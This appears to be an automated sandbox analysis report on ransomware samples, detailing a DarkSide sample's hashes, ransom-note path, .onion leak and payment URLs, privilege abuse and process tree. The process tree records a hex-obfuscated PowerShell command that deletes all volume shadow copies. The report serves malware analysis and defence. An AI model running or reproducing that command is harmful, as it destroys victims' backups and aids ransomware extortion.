Overview
overview
10Static
static
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
7Resubmissions
28-07-2024 16:38
240728-t5tryssgmm 1007-07-2024 14:07
240707-rfgd8atekm 1007-07-2024 14:07
240707-re689awdpe 1013-09-2022 17:54
220913-wg1lpsgbg7 10Analysis
-
max time kernel
1699s -
max time network
1164s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
07-07-2024 14:07
Static task
static1
Behavioral task
behavioral1
Sample
RansomwareSamples/Avaddon_09_06_2020_1054KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
RansomwareSamples/Avaddon_09_06_2020_1054KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral3
Sample
RansomwareSamples/Avos_18_07_2021_403KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral4
Sample
RansomwareSamples/Avos_18_07_2021_403KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral5
Sample
RansomwareSamples/Babik_04_01_2021_31KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral6
Sample
RansomwareSamples/Babik_04_01_2021_31KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral7
Sample
RansomwareSamples/Babuk_20_04_2021_79KB.exe
Resource
win7-20240508-en
Behavioral task
behavioral8
Sample
RansomwareSamples/Babuk_20_04_2021_79KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral9
Sample
RansomwareSamples/BlackKingdom_23_03_2021_12460KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral10
Sample
RansomwareSamples/BlackKingdom_23_03_2021_12460KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral11
Sample
RansomwareSamples/BlackMatter_02_08_2021_67KB.exe
Resource
win7-20240508-en
Behavioral task
behavioral12
Sample
RansomwareSamples/BlackMatter_02_08_2021_67KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral13
Sample
RansomwareSamples/Conti_22_12_2020_186KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral14
Sample
RansomwareSamples/Conti_22_12_2020_186KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral15
Sample
RansomwareSamples/Cuba_08_03_2021_1130KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral16
Sample
RansomwareSamples/Cuba_08_03_2021_1130KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral17
Sample
RansomwareSamples/DarkSide_01_05_2021_30KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral18
Sample
RansomwareSamples/DarkSide_01_05_2021_30KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral19
Sample
RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral20
Sample
RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral21
Sample
RansomwareSamples/DarkSide_18_11_2020_17KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral22
Sample
RansomwareSamples/DarkSide_18_11_2020_17KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral23
Sample
RansomwareSamples/DearCry_13_03_2021_1292KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral24
Sample
RansomwareSamples/DearCry_13_03_2021_1292KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral25
Sample
RansomwareSamples/Hades_29_03_2021_1909KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral26
Sample
RansomwareSamples/Hades_29_03_2021_1909KB.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral27
Sample
RansomwareSamples/Hive_17_07_2021_808KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral28
Sample
RansomwareSamples/Hive_17_07_2021_808KB.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral29
Sample
RansomwareSamples/LockBit_14_02_2021_146KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral30
Sample
RansomwareSamples/LockBit_14_02_2021_146KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral31
Sample
RansomwareSamples/MAKOP_27_10_2020_115KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral32
Sample
RansomwareSamples/MAKOP_27_10_2020_115KB.exe
Resource
win10v2004-20240704-en
General
-
Target
RansomwareSamples/DarkSide_18_11_2020_17KB.exe
-
Size
17KB
-
MD5
f87a2e1c3d148a67eaeb696b1ab69133
-
SHA1
d1dfe82775c1d698dd7861d6dfa1352a74551d35
-
SHA256
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
-
SHA512
e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3
-
SSDEEP
384:SGyUrEk/yEoQE+yckIYN/pBa3AWK3T2oTboHblKR/:l4klFypIYFpB/x9ngb
Malware Config
Extracted
C:\Users\README.6f83c4b2.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Renames multiple (164) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral22/memory/4052-0-0x0000000000910000-0x0000000000920000-memory.dmp upx behavioral22/memory/4052-26-0x0000000000910000-0x0000000000920000-memory.dmp upx behavioral22/memory/4052-54-0x0000000000910000-0x0000000000920000-memory.dmp upx behavioral22/memory/4052-230-0x0000000000910000-0x0000000000920000-memory.dmp upx behavioral22/memory/4052-237-0x0000000000910000-0x0000000000920000-memory.dmp upx -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
DarkSide_18_11_2020_17KB.exepowershell.exepid process 4052 DarkSide_18_11_2020_17KB.exe 4052 DarkSide_18_11_2020_17KB.exe 3124 powershell.exe 3124 powershell.exe 4052 DarkSide_18_11_2020_17KB.exe 4052 DarkSide_18_11_2020_17KB.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
DarkSide_18_11_2020_17KB.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeSecurityPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeTakeOwnershipPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeLoadDriverPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeSystemProfilePrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeSystemtimePrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeProfSingleProcessPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeIncBasePriorityPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeCreatePagefilePrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeBackupPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeRestorePrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeShutdownPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeDebugPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeSystemEnvironmentPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeRemoteShutdownPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeUndockPrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: SeManageVolumePrivilege 4052 DarkSide_18_11_2020_17KB.exe Token: 33 4052 DarkSide_18_11_2020_17KB.exe Token: 34 4052 DarkSide_18_11_2020_17KB.exe Token: 35 4052 DarkSide_18_11_2020_17KB.exe Token: 36 4052 DarkSide_18_11_2020_17KB.exe Token: SeDebugPrivilege 3124 powershell.exe Token: SeBackupPrivilege 2304 vssvc.exe Token: SeRestorePrivilege 2304 vssvc.exe Token: SeAuditPrivilege 2304 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
DarkSide_18_11_2020_17KB.exedescription pid process target process PID 4052 wrote to memory of 3124 4052 DarkSide_18_11_2020_17KB.exe powershell.exe PID 4052 wrote to memory of 3124 4052 DarkSide_18_11_2020_17KB.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3124
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2304
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
Filesize
1KB
MD57bd0d74ff0bb98e8751cae71652ed62e
SHA1caff8e2a964e2900fbe38a3f243499c126b3d4e4
SHA25664c6fad7f8c73c79d9c041118f7fef91738366bc17ff7f8cee2876dacbc25113
SHA512df72f1960f1fddf04497e38afee3a40ab8ed7f9fd9d701b83ef2e1cbd63530447f596297acbc215abef7ae08cdd381dc6dcf1e1f5ffdbfa25d82ab357bf68892
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2KB
MD525d0b19a0ec34a39dfa3e177866f01a3
SHA1a3704d1f6499738ccd694bdd6008a850c6b2e453
SHA256f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8
SHA512ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198